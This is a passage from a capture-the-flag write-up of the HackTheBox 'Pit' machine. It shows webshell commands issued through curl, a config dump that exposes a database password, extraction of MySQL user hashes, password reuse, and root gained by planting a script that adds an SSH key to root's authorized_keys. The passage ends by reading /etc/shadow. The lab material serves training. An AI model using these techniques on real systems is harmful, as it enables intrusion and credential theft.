uid=992(nginx) gid=988(nginx) groups=988(nginx) context=system_u:system_r:httpd_t:s0
Good we have command execution! Next obvious step was to upload a php reverse shell, that I did, but CentOS is too tight on permissions and firewall. There was no way I could get a revshell out of that so I did everything else using just this php webshell. Obviously, since I couldn’t get a revshell from it, I will call this our foothold.
user flag
⚠️ There is a script cleaning up whatever is uploaded to
michelle
’s documents so if you hit a “404 File not found.” just re upload the shell.
Most of the stuff done at this stage is just to understand what the nginx
user has access to besides the /var/www/html
directory, and if we can get hold of some passwords from there.
First thing to check was home directories:
┌─[r3pek]-[~/CTF/HTB/Machines/Pit]
└─$ curl http://dms-pit.htb/seeddms51x/data/1048576/53/1.php --data 'password=lol&cmd=ls -lha /home'
We can’t see nothing there. Time to check the html
directory for configuration files:
┌─[r3pek]-[~/CTF/HTB/Machines/Pit]
└─$ curl http://dms-pit.htb/seeddms51x/data/1048576/53/1.php --data 'password=lol&cmd=pwd'
/var/www/html/seeddms51x/data/1048576/53
┌─[r3pek]-[~/CTF/HTB/Machines/Pit]
└─$ curl http://dms-pit.htb/seeddms51x/data/1048576/53/1.php --data 'password=lol&cmd=ls -lha ../../../'
total 0
drwxr-xr-x. 7 nginx nginx 68 Apr 21 2020 .
drwxr-xr-x. 3 root root 24 Nov 3 2020 ..
drwxr-xr-x. 2 nginx nginx 93 Mar 2 2020 conf
drwxr-xr-x. 9 nginx nginx 117 Apr 21 2020 data
drwxr-xr-x. 6 nginx nginx 101 Dec 3 2019 pear
drwxr-xr-x. 14 root root 256 May 10 10:58 seeddms
drwxr-xr-x. 3 nginx nginx 207 Jul 30 2019 www
┌─[r3pek]-[~/CTF/HTB/Machines/Pit]
└─$ curl http://dms-pit.htb/seeddms51x/data/1048576/53/1.php --data 'password=lol&cmd=ls -lha ../../../conf'
total 40K
drwxr-xr-x. 2 nginx nginx 93 Mar 2 2020 .
drwxr-xr-x. 7 nginx nginx 68 Apr 21 2020 ..
-rw-r--r--. 1 nginx nginx 261 Jan 15 2020 .htaccess
-r--------. 1 nginx nginx 12K Apr 21 2020 settings.xml
-rw-r--r--. 1 nginx nginx 14K Mar 14 2018 settings.xml.template
-rw-r--r--. 1 nginx nginx 4.2K Feb 20 2013 stopwords.txt
1┌─[r3pek]-[~/CTF/HTB/Machines/Pit]
2└─$ curl http://dms-pit.htb/seeddms51x/data/1048576/53/1.php --data 'password=lol&cmd=cat ../../../conf/settings.xml'
3<?xml version="1.0" encoding="UTF-8"?>
4<configuration>
5 <site>
6 <!-- siteName: Name of site used in the page titles. Default: SeedDMS
7 - footNote: Message to display at the bottom of every page
8 - printDisclaimer: if true the disclaimer message the lang.inc files will be print on the bottom of the page
9 - language: default language (name of a subfolder in folder "languages")
10 - theme: default style (name of a subfolder in folder "styles")
11 -->
12 <display siteName="SeedDMS" footNote="SeedDMS free document management system - www.seeddms.org" printDisclaimer="true" language="en_GB" theme="bootstrap" previewWidthList="40" previewWidthDetail="100" availablelanguages="" showFullPreview="false" convertToPdf="false" previewWidthMenuList="40" previewWidthDropFolderList="100" maxItemsPerPage="0" incItemsPerPage="0">
13 </display>
14 <!-- strictFormCheck: Strict form checking. If set to true, then all fields in the form will be checked for a value. If set to false, then (most) comments and keyword fields become optional. Comments are always required when submitting a review or overriding document status.
15 - viewOnlineFileTypes: files with one of the following endings can be viewed online (USE ONLY LOWER CASE CHARACTERS)
16 - enableConverting: enable/disable converting of files
17 - enableEmail: enable/disable automatic email notification
18 - enableUsersView: enable/disable group and user view for all users
19 - enableFullSearch: false to don't use fulltext search
20 - enableLanguageSelector: false to don't show the language selector after login
21 - enableClipboard: false to hide the clipboard
22 - enableFolderTree: false to don't show the folder tree
23 - expandFolderTree: 0 to start with tree hidden
24 - 1 to start with tree shown and first level expanded
25 - 2 to start with tree shown fully expanded
26 - stopWordsFile: path to stop word file for indexer
27 - sortUsersInList: how to sort users in lists ('fullname' or '' (default))
28 -->
29 <edition strictFormCheck="false" viewOnlineFileTypes=".txt;.text;.html;.htm;.xml;.pdf;.gif;.png;.jpg;.jpeg" enableConverting="true" enableEmail="true" enableUsersView="true" enableFullSearch="true" enableClipboard="false" enableFolderTree="true" expandFolderTree="1" enableLanguageSelector="true" stopWordsFile="" sortUsersInList="" enableDropUpload="false" enableRecursiveCount="false" maxRecursiveCount="0" enableThemeSelector="false" fullSearchEngine="sqlitefts" sortFoldersDefault="u" editOnlineFileTypes="" enableMenuTasks="false" enableHelp="false" defaultSearchMethod="database" libraryFolder="0" maxSizeForFullText="0" showSingleSearchHit="false" enableSessionList="false" enableDropFolderList="false" enableMultiUpload="false" defaultDocPosition="end">
30 </edition>
31 <!-- enableCalendar: enable/disable calendar
32 - calendarDefaultView: calendar default view ("w" for week,"m" for month,"y" for year)
33 - firstDayOfWeek: first day of the week (0=sunday, 6=saturday)
34 -->
35 <calendar enableCalendar="true" calendarDefaultView="y" firstDayOfWeek="0">
36 </calendar>
37 <webdav enableWebdavReplaceDoc="true"/></site>
38
39 <system>
40 <!-- rootDir: Path to where SeedDMS is located
41 - httpRoot: The relative path in the URL, after the domain part. Do not include the
42 - http:// prefix or the web host name. e.g. If the full URL is
43 - http://www.example.com/seeddms/, set $_httpRoot = "/seeddms/".
44 - If the URL is http://www.example.com/, set $_httpRoot = "/".
45 - contentDir: Where the uploaded files are stored (best to choose a directory that
46 - is not accessible through your web-server)
47 - stagingDir: Where partial file uploads are saved
48 - luceneDir: Where the lucene fulltext index iѕ saved
49 - logFileEnable: set false to disable log system
50 - logFileRotation: the log file rotation (h=hourly, d=daily, m=monthly)
51 - enableLargeFileUpload: support for jumploader
52 - partitionsize: size of chunk uploaded by jumploader
53 - dropFolderDir: where files for document upload are located
54 - cacheDir: where the preview images are saved
55 -->
56 <server rootDir="/var/www/html/seeddms51x/seeddms/" httpRoot="/seeddms51x/seeddms/" contentDir="/var/www/html/seeddms51x/data/" stagingDir="/var/www/html/seeddms51x/data/staging/" luceneDir="/var/www/html/seeddms51x/data/lucene/" logFileEnable="true" logFileRotation="d" enableLargeFileUpload="false" partitionSize="2000000" cacheDir="/var/www/html/seeddms51x/data/cache/" dropFolderDir="" backupDir="" repositoryUrl="" maxUploadSize="" enableXsendfile="false">
57 </server>
58
59 <!-- enableGuestLogin: If you want anybody to login as guest, set the following line to true
60 - note: guest login should be used only in a trusted environment
61 - enablePasswordForgotten: Allow users to reset their password
62 - restricted: Restricted access: only allow users to log in if they have an entry in the local database (irrespective of successful authentication with LDAP).
63 - enableUserImage: enable users images
64 - disableSelfEdit: if true user cannot edit his own profile
65 - passwordStrength: minimum strength of password, set to 0 to disable
66 - passwordExpiration: number of days after password expires
67 - passwordHistory: number of remembered passwords
68 - passwordStrengthAlgorithm: algorithm used to calculate password strenght (simple or advanced)
69 - encryptionKey: arbitrary string used for creating identifiers
70 -->
71 <authentication enableGuestLogin="false" enablePasswordForgotten="false" restricted="true" enableUserImage="false" disableSelfEdit="false" passwordStrength="0" passwordStrengthAlgorithm="simple" passwordExpiration="10" passwordHistory="0" loginFailure="0" autoLoginUser="0" quota="0" undelUserIds="" encryptionKey="cfecb42d13f2e1666cddde56991a2cbf" cookieLifetime="0" enableGuestAutoLogin="false" defaultAccessDocs="0">
72 <connectors>
73 <!-- ***** CONNECTOR LDAP *****
74 - enable: enable/disable connector
75 - type: type of connector ldap / AD
76 - host: hostname of the authentification server
77 - URIs are supported, e.g.: ldaps://ldap.host.com
78 - port: port of the authentification server
79 - baseDN: top level of the LDAP directory tree
80 -->
81 <connector enable="false" type="ldap" host="ldaps://ldap.host.com" port="389" baseDN="" bindDN="" bindPw="">
82 </connector>
83 <!-- ***** CONNECTOR Microsoft Active Directory *****
84 - enable: enable/disable connector
85 - type: type of connector ldap / AD
86 - host: hostname of the authentification server
87 - port: port of the authentification server
88 - baseDN: top level of the LDAP directory tree
89 - accountDomainName: sample: example.com
90 -->
91 <connector enable="false" type="AD" host="ldap.example.com" port="389" baseDN="" accountDomainName="example.com" bindDN="" bindPw="">
92 </connector>
93 </connectors>
94 </authentication>
95 <!--
96 - dbDriver: DB-Driver used by adodb (see adodb-readme)
97 - dbHostname: DB-Server
98 - dbDatabase: database where the tables for seeddms are stored (optional - see adodb-readme)
99 - dbUser: username for database-access
100 - dbPass: password for database-access
101 -->
102 <database dbDriver="mysql" dbHostname="localhost" dbDatabase="seeddms" dbUser="seeddms" dbPass="ied^ieY6xoquu" doNotCheckVersion="false">
103 </database>
104 <!-- smtpServer: SMTP Server hostname
105 - smtpPort: SMTP Server port
106 - smtpSendFrom: Send from
107 -->
108 <smtp smtpServer="localhost" smtpPort="25" smtpSendFrom="seeddms@localhost" smtpUser="" smtpPassword=""/>
109 </system>
110
111
112 <advanced>
113 <!-- siteDefaultPage: Default page on login. Defaults to out/out.ViewFolder.php
114 - rootFolderID: ID of root-folder (mostly no need to change)
115 - titleDisplayHack: Workaround for page titles that go over more than 2 lines.
116 -->
117 <display siteDefaultPage="" rootFolderID="1" titleDisplayHack="true" showMissingTranslations="false">
118 </display>
119 <!-- guestID: ID of guest-user used when logged in as guest (mostly no need to change)
120 - adminIP: if enabled admin can login only by specified IP addres, leave empty to avoid the control
121 - NOTE: works only with local autentication (no LDAP)
122 -->
123 <authentication guestID="2" adminIP="">
124 </authentication>
125 <!-- enableAdminRevApp: false to don't list administrator as reviewer/approver
126 - versioningFileName: the name of the versioning info file created by the backup tool
127 - workflowMode: 'traditional' or 'advanced'
128 - enableVersionDeletion: allow to delete versions after approval
129 - enableVersionModification: allow to modify versions after approval
130 - enableDuplicateDocNames: allow duplicate names in a folder
131 -->
132 <edition enableAdminRevApp="false" versioningFileName="versioning_info.txt" workflowMode="traditional" enableVersionDeletion="true" enableVersionModification="true" enableDuplicateDocNames="true" enableOwnerRevApp="false" enableSelfRevApp="false" presetExpirationDate="" overrideMimeType="false" initialDocumentStatus="0" enableAcknowledgeWorkflow="" enableRevisionWorkflow="" advancedAcl="false" enableUpdateRevApp="false" removeFromDropFolder="false" allowReviewerOnly="false">
133 </edition>
134 <!-- enableNotificationAppRev: true to send notifation if a user is added as a reviewer or approver
135 -->
136 <notification enableNotificationAppRev="true" enableOwnerNotification="false" enableNotificationWorkflow="false">
137 </notification>
138 <!-- coreDir: Path to SeedDMS_Core (optional)
139 - luceneClassDir: Path to SeedDMS_Lucene (optional)
140 - contentOffsetDir: To work around limitations in the underlying file system, a new
141 - directory structure has been devised that exists within the content
142 - directory ($_contentDir). This requires a base directory from which
143 - to begin. Usually leave this to the default setting, 1048576, but can
144 - be any number or string that does not already exist within $_contentDir.
145 - maxDirID: Maximum number of sub-directories per parent directory. Default: 0, use 31998 (maximum number of dirs in ext3) for a multi level content directory.
146 - updateNotifyTime: users are notified about document-changes that took place within the last "updateNotifyTime" seconds
147 - extraPath: Path to addtional software. This is the directory containing additional software like the adodb directory, or the pear Log package. This path will be added to the php include path
148 -->
149 <server coreDir="" luceneClassDir="" contentOffsetDir="1048576" maxDirID="0" updateNotifyTime="86400" extraPath="/var/www/html/seeddms51x/pear/" maxExecutionTime="30" cmdTimeout="10">
150 </server>
151 <converters target="fulltext">
152 <converter mimeType="application/pdf">pdftotext -nopgbrk %s - | sed -e 's/ [a-zA-Z0-9.]\{1\} / /g' -e 's/[0-9.]//g'</converter>
153 <converter mimeType="application/msword">catdoc %s</converter>
154 <converter mimeType="application/vnd.ms-excel">ssconvert -T Gnumeric_stf:stf_csv -S %s fd://1</converter>
155 <converter mimeType="audio/mp3">id3 -l -R %s | egrep '(Title|Artist|Album)' | sed 's/^[^:]*: //g'</converter>
156 <converter mimeType="audio/mpeg">id3 -l -R %s | egrep '(Title|Artist|Album)' | sed 's/^[^:]*: //g'</converter>
157 <converter mimeType="text/plain">cat %s</converter>
158 </converters>
159
160 </advanced>
161
162<extensions><extension name="example"/></extensions></configuration>
Within this file there’s the db password used for the SeedDMS application:
<database dbDriver="mysql" dbHostname="localhost" dbDatabase="seeddms" dbUser="seeddms" dbPass="ied^ieY6xoquu" doNotCheckVersion="false">
Now, I just decided to get the damn users table from the database and maybe I would get lucky.
┌─[r3pek]-[~/CTF/HTB/Machines/Pit]
└─$ curl http://dms-pit.htb/seeddms51x/data/1048576/54/1.php --data 'password=lol&cmd=mysql -u seeddms -pied^ieY6xoquu seeddms -e "show tables"'
Tables_in_seeddms
tblACLs
tblAttributeDefinitions
tblCategory
tblDocumentApproveLog
tblDocumentApprovers
tblDocumentAttributes
tblDocumentCategory
tblDocumentContent
tblDocumentContentAttributes
tblDocumentFiles
tblDocumentLinks
tblDocumentLocks
tblDocumentReviewLog
tblDocumentReviewers
tblDocumentStatus
tblDocumentStatusLog
tblDocuments
tblEvents
tblFolderAttributes
tblFolders
tblGroupMembers
tblGroups
tblKeywordCategories
tblKeywords
tblMandatoryApprovers
tblMandatoryReviewers
tblNotify
tblSessions
tblUserImages
tblUserPasswordHistory
tblUserPasswordRequest
tblUsers
tblVersion
tblWorkflowActions
tblWorkflowDocumentContent
tblWorkflowLog
tblWorkflowMandatoryWorkflow
tblWorkflowStates
tblWorkflowTransitionGroups
tblWorkflowTransitionUsers
tblWorkflowTransitions
tblWorkflows
┌─[r3pek]-[~/CTF/HTB/Machines/Pit]
└─$ curl http://dms-pit.htb/seeddms51x/data/1048576/54/1.php --data 'password=lol&cmd=mysql -u seeddms -pied^ieY6xoquu seeddms -e "select * from tblUsers;"'
id login pwd fullName email language theme comment role hidden pwdExpiration loginfailures disabled quota homefolder
1 admin 155dd275b4cb74bd1f80754b61148863 Administrator admin@pit.htb en_GB 1 0 NULL 0 0 0 NULL
2 guest NULL Guest User NULL 2 0 NULL 0 0 0 NULL
3 michelle 2345f10bb948c5665ef91f6773b3e455 Michelle michelle@pit.htb en_GB bootstrap 0 0 NULL 0 0 0NULL
4 jack 682d305fdaabc156430c4c6f6f5cc65d Jack jack@dms-pit.htb en_GB bootstrap 0 0 NULL 0 0 0 NULL
Looks like md5 hashes (and a quick echo -n michelle | md5sum
confirms it because it matches the 2345f10bb948c5665ef91f6773b3e455
hash), so I tried to see if there where already known hashes on hashes.com:
No luck on the other two, only michelle
’s is known, but that one I already knew too. 🤔
So, I knew there were at least 2 users on the system (from the snmpwalk
output), and a third one that only showed up on SeedDMS site (jack
). I had 2 passwords available, one for the MySQL database seeddms
user and another for the michelle
user on the SeedDMS website. The point of having another password couldn’t be just to gain admin priviledges on the site, that would bring me nothing new. With a new password, the only thing I could use it for was for gain shell access to a user, but since there were no new passwords (and cracking passwords is rarelly the way to go on HTB), I decided to give it a try on the Cockpit website for all the users and passwords I knew at the moment.
Combos to try:
michelle:michelle
michelle:ied^ieY6xoquu
jack:michelle
jack:ied^ieY6xoquu
NOW WE’RE GETTING SOMEWHERE 🥳! michelle:ied^ieY6xoquu
did the trick! Now it’s just a matter of ssh login to the user and get the flag.
┌─[r3pek]-[~/CTF/HTB/Machines/Pit]
└─$ ssh michelle@pit.htb
michelle@pit.htb: Permission denied (publickey,gssapi-keyex,gssapi-with-mic).
Well, maybe not. We need to add our key to the authorized_keys
file to be able to login. Luckily for us, Cockpit has a webterminal (that works just like a regular shell) where you can put you ssh public key on the authorized_keys
file, or you can just edit the michelle’s account (https://dms-pit.htb:9090/users#/michelle) and add an SSH key to it.
After this (or even running just the webterminal), we can login and get the user flag:
┌─[r3pek]-[~/CTF/HTB/Machines/Pit]
└─$ ssh michelle@pit.htb
Web console: https://pit.htb:9090/
Last login: Sat Jun 19 21:12:02 2021 from 10.10.14.240
[michelle@pit ~]$ cat user.txt
07c2cf0b0d852cdb47876c827e43f573
[michelle@pit ~]$
root flag
root is usually obtained by exploiting some “sudo’able” command to be able to get a shell, revshell or just “cat” the root.txt
file. So, let’s see what we can do with sudo
this time:
[michelle@pit ~]$ sudo -l
sudo: unable to open /run/sudo/ts/michelle: Permission denied
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for michelle:
sudo: unable to stat /var/db/sudo: Permission denied
Sorry, user michelle may not run sudo on pit.
[michelle@pit ~]$
Hummmm… OK 🤔. This is new (it was the first time it happened to me). Maybe it’s just some suid executable that we can exploit:
[michelle@pit ~]$ find / -perm -4000 2> /dev/null
/usr/libexec/dbus-1/dbus-daemon-launch-helper
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/sbin/grub2-set-bootflag
/usr/sbin/pam_timestamp_check
/usr/sbin/unix_chkpwd
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
/usr/bin/pkexec
/usr/bin/crontab
/usr/bin/fusermount
/usr/bin/chage
/usr/bin/sudo
/usr/bin/passwd
Nothing out of the ordinary. Damn :frowning:. Time to run linpeas
to find everything for me (output).
One thing caught my eye on the linpeas
output:
[+] Files with ACLs (limited to 50)
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#acls
# file: /usr/local/monitoring
USER root rwx
user michelle -wx
GROUP root rwx
mask rwx
other ---
So, michelle
had access to write to /usr/local/monitoring
. Is this related to the monitor
file we saw getting executed for SNMP output?
[michelle@pit ~]$ cat /usr/bin/monitor
#!/bin/bash
for script in /usr/local/monitoring/check*sh
do
/bin/bash $script
done
Definitely it’s this one! So to get root
we just need to create a file named check<something>sh
and add it to the /usr/local/monitoring
directory. That script can just append our ssh public key to the root
’s authorized_keys
file, and then just force it to run via snmpwalk
. Since snmpd
is running as root
, there should be no problem achieving root
now.
[michelle@pit ~]$ vi check-r3pek-pwn.sh
[michelle@pit ~]$ cat check-r3pek-pwn.sh
#!/bin/bash
echo ssh-ed25519 <SNIP> r3pek@trinity.r3pek.org >> /root/.ssh/authorized_keys
echo pwned
[michelle@pit ~]$ cp check-r3pek-pwn.sh /usr/local/monitoring/
[michelle@pit ~]$
.1.3.6.1.4.1.8072.1.3.2
is the NET-SNMP-EXTEND-MIB OID
┌─[r3pek]-[~/CTF/HTB/Machines/Pit]
└─$ snmpwalk -v2c -c public pit.htb .1.3.6.1.4.1.8072.1.3.2
NET-SNMP-EXTEND-MIB::nsExtendNumEntries.0 = INTEGER: 1
NET-SNMP-EXTEND-MIB::nsExtendCommand."monitoring" = STRING: /usr/bin/monitor
NET-SNMP-EXTEND-MIB::nsExtendArgs."monitoring" = STRING:
NET-SNMP-EXTEND-MIB::nsExtendInput."monitoring" = STRING:
NET-SNMP-EXTEND-MIB::nsExtendCacheTime."monitoring" = INTEGER: 5
NET-SNMP-EXTEND-MIB::nsExtendExecType."monitoring" = INTEGER: exec(1)
NET-SNMP-EXTEND-MIB::nsExtendRunType."monitoring" = INTEGER: run-on-read(1)
NET-SNMP-EXTEND-MIB::nsExtendStorage."monitoring" = INTEGER: permanent(4)
NET-SNMP-EXTEND-MIB::nsExtendStatus."monitoring" = INTEGER: active(1)
NET-SNMP-EXTEND-MIB::nsExtendOutput1Line."monitoring" = STRING: Memory usage
NET-SNMP-EXTEND-MIB::nsExtendOutputFull."monitoring" = STRING: Memory usage
total used free shared buff/cache available
Mem: 3.8Gi 521Mi 2.5Gi 32Mi 860Mi 3.0Gi
Swap: 1.9Gi 0B 1.9Gi
Database status
OK - Connection to database successful.
pwned
System release info
CentOS Linux release 8.3.2011
SELinux Settings
user
Labeling MLS/ MLS/
SELinux User Prefix MCS Level MCS Range SELinux Roles
guest_u user s0 s0 guest_r
root user s0 s0-s0:c0.c1023 staff_r sysadm_r system_r unconfined_r
staff_u user s0 s0-s0:c0.c1023 staff_r sysadm_r unconfined_r
sysadm_u user s0 s0-s0:c0.c1023 sysadm_r
system_u user s0 s0-s0:c0.c1023 system_r unconfined_r
unconfined_u user s0 s0-s0:c0.c1023 system_r unconfined_r
user_u user s0 s0 user_r
xguest_u user s0 s0 xguest_r
login
Login Name SELinux User MLS/MCS Range Service
__default__ unconfined_u s0-s0:c0.c1023 *
michelle user_u s0 *
root unconfined_u s0-s0:c0.c1023 *
System uptime
21:47:59 up 1 day, 11:44, 2 users, load average: 0.00, 0.01, 0.04
NET-SNMP-EXTEND-MIB::nsExtendOutNumLines."monitoring" = INTEGER: 32
NET-SNMP-EXTEND-MIB::nsExtendResult."monitoring" = INTEGER: 0
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".1 = STRING: Memory usage
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".2 = STRING: total used free shared buff/cache available
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".3 = STRING: Mem: 3.8Gi 521Mi 2.5Gi 32Mi 860Mi 3.0Gi
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".4 = STRING: Swap: 1.9Gi 0B 1.9Gi
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".5 = STRING: Database status
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".6 = STRING: OK - Connection to database successful.
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".7 = STRING: pwned
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".8 = STRING: System release info
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".9 = STRING: CentOS Linux release 8.3.2011
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".10 = STRING: SELinux Settings
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".11 = STRING: user
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".12 = STRING:
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".13 = STRING: Labeling MLS/ MLS/
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".14 = STRING: SELinux User Prefix MCS Level MCS Range SELinux Roles
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".15 = STRING:
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".16 = STRING: guest_u user s0 s0 guest_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".17 = STRING: root user s0 s0-s0:c0.c1023 staff_r sysadm_r system_r unconfined_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".18 = STRING: staff_u user s0 s0-s0:c0.c1023 staff_r sysadm_r unconfined_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".19 = STRING: sysadm_u user s0 s0-s0:c0.c1023 sysadm_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".20 = STRING: system_u user s0 s0-s0:c0.c1023 system_r unconfined_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".21 = STRING: unconfined_u user s0 s0-s0:c0.c1023 system_r unconfined_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".22 = STRING: user_u user s0 s0 user_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".23 = STRING: xguest_u user s0 s0 xguest_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".24 = STRING: login
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".25 = STRING:
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".26 = STRING: Login Name SELinux User MLS/MCS Range Service
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".27 = STRING:
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".28 = STRING: __default__ unconfined_u s0-s0:c0.c1023 *
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".29 = STRING: michelle user_u s0 *
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".30 = STRING: root unconfined_u s0-s0:c0.c1023 *
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".31 = STRING: System uptime
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".32 = STRING: 21:47:59 up 1 day, 11:44, 2 users, load average: 0.00, 0.01, 0.04
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".32 = No more variables left in this MIB View (It is past the end of the MIB tree)
Now that our script have run (“pwned” is printed), we just need to login as root
:
┌─[r3pek]-[~/CTF/HTB/Machines/Pit]
└─$ ssh root@pit.htb
Web console: https://pit.htb:9090/
Last failed login: Sat Jun 19 19:27:56 EDT 2021 on web console
There were 2 failed login attempts since the last successful login.
Last login: Sat Jun 19 07:15:46 2021 from 10.10.16.49
[root@pit ~]# cat root.txt
d90c512d827c32b6e0f116b1d81a2b5d
[root@pit ~]#
And we have our root
flag 😉
root password hash
[root@pit ~]# head -n 1 /etc/shadow
root:$6$4ZnZ0Iv3NzFIZtKa$tA78wgAwaBBSg96ecMRPYIogQmANo/9pJhHmf06bCmbKukMDM9rdT2Mdc6UhwD1raDzXIrk.zjQ9lkJIoLShE.:18757:0:99999:7:::